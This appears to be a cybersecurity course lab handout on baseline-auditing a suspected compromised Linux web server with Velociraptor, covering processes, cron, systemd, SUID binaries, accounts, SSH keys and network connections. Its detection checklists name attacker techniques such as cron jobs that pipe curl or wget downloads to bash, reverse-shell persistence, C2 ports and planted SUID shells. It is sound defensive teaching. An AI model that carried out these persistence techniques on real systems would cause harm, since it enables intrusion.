Lab OS.6 — Linux System Baseline

Lab Overview

The Scenario

Your security team has deployed Velociraptor to a Linux web server (linux-web-01) suspected of compromise. Rather than investigating a specific alert, you've been tasked with a comprehensive baseline audit — examining every aspect of the system to determine if it's been modified from its known-good state.

The system administrator provided a known-good baseline: the server should run Apache, standard system services, and a monitoring agent. Any cron jobs, SUID binaries, running processes, network connections, or SSH keys not matching this baseline are anomalies that could indicate compromise.

Your goal is to systematically audit every major Linux subsystem and identify all planted anomalies. Some will be obvious (a cryptocurrency miner process). Others will be subtle (a slightly modified cron entry that downloads a script from an external server every hour).

Part 1: Process Audit

Running processes reveal what the system is actively doing. Rogue processes are often the most immediate indicator of compromise.

Step 1.1: List All Running Processes

Artifact: Linux.Sys.Pslist

Expected Results: Review the process list for:

• Processes running from /tmp, /dev/shm, or user home directories — these are almost never legitimate
• Processes with high CPU/memory usage that don't match known services
• Processes with suspicious names designed to look like system processes (e.g., kworker or [kthreadd] run from user space)
• Processes running as root that shouldn't be

Record every suspicious process with its PID, user, command line, and parent process.

Step 1.2: Check for Hidden Processes

Attackers may hide processes by manipulating /proc or using rootkits:

Artifact: Linux.Sys.Pslist

Compare the process count from ps aux (via the artifact) with the count of entries in /proc. A discrepancy suggests hidden processes.

Step 1.3: Examine Process Network Activity

Artifact: Linux.Network.Netstat

Cross-reference running processes with open network connections. Focus on:

• Processes with ESTABLISHED connections to external IPs
• Processes LISTENING on non-standard ports
• Connections to known C2 infrastructure IPs or unusual port numbers (4444, 5555, 8888, etc.)

Document: Create a table mapping process names → PIDs → network connections → external IPs.

Click to enlarge

Part 2: Cron Job Audit

Cron jobs provide time-based execution — an attacker's favorite for periodic callback scripts, data exfiltration, or persistent reverse shells.

Step 2.1: Enumerate All Cron Jobs

Artifact: Linux.Sys.Crontab

Expected Results: This artifact collects cron entries from:

• /etc/crontab — System-wide cron table
• /etc/cron.d/* — Drop-in cron files
• /etc/cron.hourly/, cron.daily/, etc. — Periodic directories
• /var/spool/cron/crontabs/* — Per-user crontabs

For each entry, document the schedule, user, and command. Flag entries that:

• Download scripts from external URLs (wget, curl)
• Pipe downloaded content directly to bash or sh
• Run with root privileges but aren't part of standard system maintenance
• Have unusual schedules (every minute, random intervals)

Step 2.2: Check for Hidden Cron Persistence

Some cron entries may be in non-standard locations:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /etc/cron*/**

Also check for at jobs:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /var/spool/at/**

Expected Results: Look for recently created files in cron directories. Check file modification timestamps against the system's installation date — files created after deployment that aren't from package updates are suspicious.

Part 3: Service and Systemd Audit

Step 3.1: List Enabled Systemd Services

Artifact: Linux.Sys.Services

Expected Results: Focus on:

• Services with generic names that don't match installed packages (e.g., system-update.service, helper.service)
• Services pointing to binaries in /tmp, /opt, or home directories
• Services that were recently enabled (check file timestamps)
• Services with Restart=always and short restart intervals (persistence through crashes)

Step 3.2: Examine Suspicious Service Unit Files

For any suspicious service, read the full unit file:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /etc/systemd/system/*.service

Also check user-level systemd services:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /home/*/.config/systemd/user/*.service

Document the ExecStart path, User, and any Environment variables for each suspicious service.

Part 4: SUID/SGID Binary Audit

SUID binaries run with the file owner's permissions regardless of who executes them. An unauthorized SUID binary owned by root gives any user root-level execution.

Step 4.1: Find All SUID/SGID Binaries

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /**
  Permissions: +s

Alternatively, use a shell artifact:

Artifact: Generic.Client.Info

Then use the Velociraptor notebook to run:

SELECT * FROM execve(argv=["find", "/", "-perm", "-4000", "-type", "f"])

Expected Results: Compare against the known-good SUID binary list:

Any SUID binary NOT on this list requires investigation. Common attacker-planted SUID binaries include copies of bash, find, nmap, or custom executables.

Step 4.2: Verify SUID Binary Integrity

For suspicious SUID binaries, check if they match the expected package:

SELECT * FROM execve(argv=["dpkg", "-S", "/path/to/suspicious/binary"])

If the binary doesn't belong to any package, it was manually placed — a strong compromise indicator.

Part 5: User Account and SSH Key Audit

Step 5.1: Audit /etc/passwd and /etc/shadow

Artifact: Linux.Sys.Users

Check for:

• New user accounts not in the original baseline (especially UID 0 accounts besides root)
• Users with /bin/bash or /bin/sh shells that should have /usr/sbin/nologin or /bin/false
• Unusual home directory locations

Step 5.2: Check /etc/passwd and /etc/shadow Permissions

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /etc/{passwd,shadow,group,gshadow}

Expected Permissions:

• /etc/passwd — -rw-r--r-- (644) — readable by all, writable by root only
• /etc/shadow — -rw-r----- (640) — readable by root and shadow group only

If /etc/shadow is world-readable, that's a critical finding — any user can extract password hashes.

Step 5.3: Audit authorized_keys Files

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /home/*/.ssh/authorized_keys

Also check root:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /root/.ssh/authorized_keys

Expected Results: Each authorized_keys entry is a public SSH key that grants passwordless access. Any key not recognized by the system administrator represents unauthorized access. Document the key fingerprint and any comments (which often reveal the origin machine).

Click to enlarge

Part 6: Network and Recently Modified Files Audit

Step 6.1: Open Network Connections

Artifact: Linux.Network.Netstat

Create a connection inventory:

NETWORK CONNECTION INVENTORY
════════════════════════════
| PID | Process | Local Address | Remote Address | State | Verdict |
|-----|---------|--------------|---------------|-------|---------|
| [pid] | [name] | [addr:port] | [addr:port] | [state] | [EXPECTED/SUSPICIOUS] |

Step 6.2: Recently Modified Files

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /etc/**
  ModifiedAfter: [24 hours ago]

Also check binary directories:

Artifact: Linux.Search.FileFinder
Parameters:
  SearchFilesGlob: /usr/local/bin/**
  ModifiedAfter: [7 days ago]

Recently modified files in /etc, /usr/bin, /usr/sbin, or /usr/local/bin — outside of expected patching windows — are strong indicators of tampering.

Part 7: Build the Baseline Anomaly Report

LINUX BASELINE ANOMALY REPORT
══════════════════════════════
Endpoint: linux-web-01
Date: [today's date]
Analyst: [your name]

SUBSYSTEM AUDIT SUMMARY:
| Subsystem | Items Checked | Anomalies Found | Severity |
|-----------|--------------|----------------|----------|
| Running Processes | [count] | [count] | [HIGH/MED/LOW] |
| Cron Jobs | [count] | [count] | |
| Systemd Services | [count] | [count] | |
| SUID/SGID Binaries | [count] | [count] | |
| User Accounts | [count] | [count] | |
| SSH Authorized Keys | [count] | [count] | |
| Network Connections | [count] | [count] | |
| Recently Modified Files | [count] | [count] | |

DETAILED FINDINGS:

ANOMALY 1: [title]
  Location: [path or config]
  Expected: [baseline value]
  Actual: [current value]
  Risk: [LOW/MED/HIGH/CRIT]
  Evidence: [artifact output reference]

ANOMALY 2: [title]
  ...

[Continue for all anomalies]

REMEDIATION PLAN:
  1. [Highest priority — immediate action]
  2. [Second priority]
  3. ...
  N. Rebaseline system after remediation and verify clean state

Deliverable Checklist

Before completing the lab, ensure you have:

• Process Audit — All running processes reviewed, rogue processes identified with PIDs and command lines
• Cron Job Audit — All cron sources checked (crontab, cron.d, per-user), suspicious entries documented
• Service Audit — Systemd services enumerated, suspicious unit files examined
• SUID Binary Audit — Full SUID list compared against known-good baseline, anomalies flagged
• User Account Audit — passwd/shadow permissions verified, unauthorized accounts identified
• SSH Key Audit — All authorized_keys files checked for unauthorized entries
• Network Audit — Open connections inventoried, suspicious outbound connections flagged
• Baseline Anomaly Report — Complete report with all subsystems, anomalies, and remediation plan

What's Next

In Module 4 — Network Security Monitoring, you'll shift from endpoint-focused investigation to network-level detection. You'll learn to analyze packet captures, decode protocols, detect lateral movement in network traffic, and identify C2 communication patterns using Suricata and EveBox.